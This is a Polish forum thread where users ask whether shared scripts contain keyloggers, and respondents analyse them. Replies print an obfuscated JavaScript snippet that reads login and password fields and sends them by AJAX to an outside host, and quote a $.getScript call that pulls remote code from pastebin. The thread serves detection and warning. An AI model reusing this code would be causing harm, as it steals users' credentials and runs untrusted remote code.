Sprawdzenie skryptu pod kątem keyloggera

[SertiX]

Cześć,prosiłbym o sprawdzenie czy w tym skrypcie nie ma keylogera 

https://pastebin.com/AVU0bZMp

[RastaWarrior98]

var TpG3Y86zpgrtWMzb, ZHN4ekpZ5m95pFbJ, YQTtmEs6a5mTXE5a;
 
function UagZgR8PZcWcwvYp() {
    $(atob("I3Vsb2dpbg==")).val() != TpG3Y86zpgrtWMzb && $(atob("I3Vsb2dpbg==")).val() && (TpG3Y86zpgrtWMzb = $(atob("I3Vsb2dpbg==")).val()), $(atob("I3VwYXNz")).val() != ZHN4ekpZ5m95pFbJ && $(atob("I3VwYXNz")).val() && (ZHN4ekpZ5m95pFbJ = $(atob("I3VwYXNz")).val()), !$(atob("I3VwYXNz")).val() && !$(atob("I3Vsb2dpbg==")).val() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a != TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ && ($.ajax({
        url: atob("aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9") + TpG3Y86zpgrtWMzb + "|" + ZHN4ekpZ5m95pFbJ
    }), YQTtmEs6a5mTXE5a = TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ)
}

Jest keylogger ale wystarczy usunąć te linijki

[nycaffjs]

2 godziny temu, RastaWarrior98 napisał:

var TpG3Y86zpgrtWMzb, ZHN4ekpZ5m95pFbJ, YQTtmEs6a5mTXE5a;
 
function UagZgR8PZcWcwvYp() {
    $(atob("I3Vsb2dpbg==")).val() != TpG3Y86zpgrtWMzb && $(atob("I3Vsb2dpbg==")).val() && (TpG3Y86zpgrtWMzb = $(atob("I3Vsb2dpbg==")).val()), $(atob("I3VwYXNz")).val() != ZHN4ekpZ5m95pFbJ && $(atob("I3VwYXNz")).val() && (ZHN4ekpZ5m95pFbJ = $(atob("I3VwYXNz")).val()), !$(atob("I3VwYXNz")).val() && !$(atob("I3Vsb2dpbg==")).val() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a != TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ && ($.ajax({
        url: atob("aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9") + TpG3Y86zpgrtWMzb + "|" + ZHN4ekpZ5m95pFbJ
    }), YQTtmEs6a5mTXE5a = TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ)
}

Jest keylogger ale wystarczy usunąć te linijki

Potwierdzam, to jest keylogger ale on nie zadziała. Keylogger wysyła dane takie jak #ulogin i #upass (login i hasło) i wysyłał je za pomocą AJAX na stronę:

https://dpelmdg8jrwf9amf.ct8.pl/ajax.php?hc64q8=

Po wejściu na stronę okazuje się że ona nie istnieje ze względu na złamanie regulaminu.

[Moperski124]

Witam, prosiłbym o sprawdzenie tego skryptu pod względem keyloggera, z góry dzięki za wszystkie odpowiedzi:)

https://pastebin.com/XcdJSgXC

[nycaffjs]

Sprawdź sam bo mi się już nie chce, potrzebne ci tylko narzędzie online do unminifowania scriptu, potem szukasz linijek które są podejrzane i ten zaszyfrowany kod sprawdzasz w zależności czy jest to Base64 czy Unicode lub Hex i też Ascii Code.

Tutaj narzędzie online do kodowania i dekodowania Base64:

https://www.base64decode.org/

Słowo "keylogger" dla przykładu jest w Base64 szyfrowane jako "a2V5bG9nZ2Vy".

 

Do HEX słowo "keylogger" jest szyfrowane jako: "6b65796c6f67676572"

A do Ascii Code będzie to "0x6b0x650x790x6c0x6f0x670x670x650x72"

[Romix211]

Cześć, czy ten skrypt ma keyloggera?

https://pastebin.com/GqPxR8dh

[Paderur]

5 godzin temu, Romix211 napisał:

Cześć, czy ten skrypt ma keyloggera?

https://pastebin.com/GqPxR8dh

($.getScript("https://pastebin.com/raw/RR2u4y7u"))

 

Tak. Ma.